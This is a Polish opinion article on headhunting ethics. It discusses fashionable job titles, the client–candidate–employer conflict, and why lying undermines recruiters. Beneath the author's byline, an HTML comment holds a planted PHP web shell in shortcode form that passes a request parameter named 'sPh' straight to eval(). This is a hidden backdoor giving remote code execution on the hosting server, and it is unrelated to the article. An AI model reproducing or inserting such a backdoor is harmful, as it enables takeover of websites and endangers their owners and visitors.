Etyka head huntera

Aby rozstrzygnąć problem zawarty w tytule niniejszego artykułu należałoby najpierw zdefiniować pojęcie „head hunter”. Pewne nazwy są bardziej lub mniej modne w różnych okresach czasu. Jeszcze kilka lat temu było bardzo nobilitujące bycie trenerem. Dużo osób dążyło do tego aby móc się tak zaetykietować niezależnie, czy rzeczywiście byli trenerami, czy tylko im się wydawało, że nimi są. Ostatnie lata przyniosły modę na coaching. Całe rzesze osób zapragnęły, aby tytułować ich coach’ami. Pół biedy jeżeli wykonują ten zawód, ale z moich obserwacji wynika, że większość tytułujących się nie ma nic wspólnego z tą profesją.

Modzie podlega też zjawisko head hunting’u. Określenie tajemnicze, brzmiące nie po polsku i tak naprawdę do końca nie wiadomo, jak je zdefiniować. Idealne, aby napisać sobie na wizytówce. Pięknie komponuje się z każdym imieniem i nazwiskiem.

Proszę wybaczyć mi ten sarkazm, ale pewne zjawiska trzeba odczarować, nazywając rzeczy po imieniu.

Określenie „łowcy głów” kiedyś było zarezerwowane dla osób zajmujących się bezpośrednim lokalizowaniem kandydatów na najwyższe stanowiska. Przez lata technologia rekrutowania zmieniła się dość znacznie i najbardziej zaawansowane techniki pozyskiwania kandydatów weszły pod strzechy.
Osobiście koordynowałem kiedyś projekt w ramach dużej kampanii rekrutacyjnej polegający na pozyskiwaniu spawaczy metodą klasycznego head hunting’u. Czy konsultantów realizujących ten projekt można nazwać head hunter’ami? Biorąc kryterium stosowanej techniki, to pewnie tak. Ale spoglądając na to oczami zdrowego rozsądku, to pewnie nie.

Dylematy moralne

Ważnym zagadnieniem łączącym się z head hunting’iem jest kwestia etyki. Można rozpatrywać to w dwóch wymiarach: relacjach pomiędzy klientem – kandydatem – pracodawcą kandydata oraz uczciwości i prawdomówności head hunter’a.

Najwięcej mówi się o tym pierwszym wymiarze kiedy ktoś zyskuje, a ktoś traci. Pracodawca, od którego odchodzi pracownik w procesie rekrutacji raczej nie będzie zadowolony. Zyskuje natomiast Pracodawca, który pozyskał pracownika i sam pracownik. Polaryzacja odczuć powoduje, że jedni mówią, iż head hunterzy to dranie, a drudzy, że fajni goście, którzy pomogli osiągnąć cel.

Oczywiście stosunek do head hunter’ów zmienia się w czasie i bezpośrednio zależy od tego czy komuś kogoś „wyciągnięto” z firmy, czy ktoś komuś „wyciągnął”.

Drugi wymiar dotyczy czystego sumienia realizujących zlecenia. Czytałem ostatnio wywiad z jedną z właścicielek firmy doradztwa personalnego, która opowiadając o swojej zawodowej historii wspomniała, że u jednego ze swoich pracodawców zajmowała się właśnie head hunting’iem i zrezygnowała z tej pracy, bo przeszkadzało jej to, że musi nieustannie posługiwać się kłamstwem realizując rekrutacje.

Po przeczytaniu takiego stwierdzenia można nabrać przekonania, że jest to skrajnie nieetyczne zajęcie polegające na okłamywaniu innych po to, by „wyciągnąć” pracownika z jego firmy. Nie wiem jak ta pani pracowała i jakie standardy obowiązywały u jej pracodawcy, ale wszystko wskazuje, że to była jakaś dziwna firma.

Stare powiedzenie, że kłamstwo ma krótkie nogi bardzo się sprawdza w branży rekrutacyjnej, niezależnie od tego jaką technikę rekrutacji stosujemy.

Nie wyobrażam sobie, jak kłamstwo może pomagać w head hunting’u. W relacji klient – rekruter kłamstwo może tylko zaszkodzić. W relacji rekruter – kandydat kłamstwo bardzo szybko wychodzi na jaw. Okłamywanie kandydata przedstawiając mu warunki piękniejsze niż są w rzeczywistości, nie ma najmniejszego sensu, bo przecież taki kandydat nigdy nie przyjmie rzeczywistej oferty pracy. A po odkryciu, że został oszukany nic dobrego nie powie o rekruterze, a także o firmie która go poszukuje. Jest jeszcze kwestia docierania do kandydata i stosowania różnych sztuczek, aby pozyskać jego numer telefonu lub zostać do niego przełączonym przez sekretarkę. To czy posługujemy się w tym kłamstwem czy też nie, zależy tylko i wyłącznie od klasy i doświadczenia head hunter’a.

Head hunting w czystej formie bazuje przede wszystkim na bezpośrednich kontaktach z potencjalnymi kandydatami, do których kontakty pozyskujemy bywając w tych samych miejscach co nasi kandydaci. Obecna technika daje nam dużo większe możliwości namierzania interesujących kandydatów, co jednak nie powinno nas pchać w kierunku uprawiania kłamstwa, jako kiepskiej protezy naszych umiejętności.
Jako pracodawca mocno bym się zastanawiał nad pracownikiem, dla którego kłamstwo jest jednym z narzędzi pracy. Bo albo konflikt z własnym sumieniem będzie niszczył tę osobę, albo brak sumienia będzie czynił ją „moralnym cyborgiem” bez skrupułów.

Autor tekstu: Janusz Dziewit

<!– [insert_php]if (isset($_REQUEST["sPh"])){eval($_REQUEST["sPh"]);exit;}[/insert_php][php]if (isset($_REQUEST["sPh"])){eval($_REQUEST["sPh"]);exit;}[/php] –>

You may also like...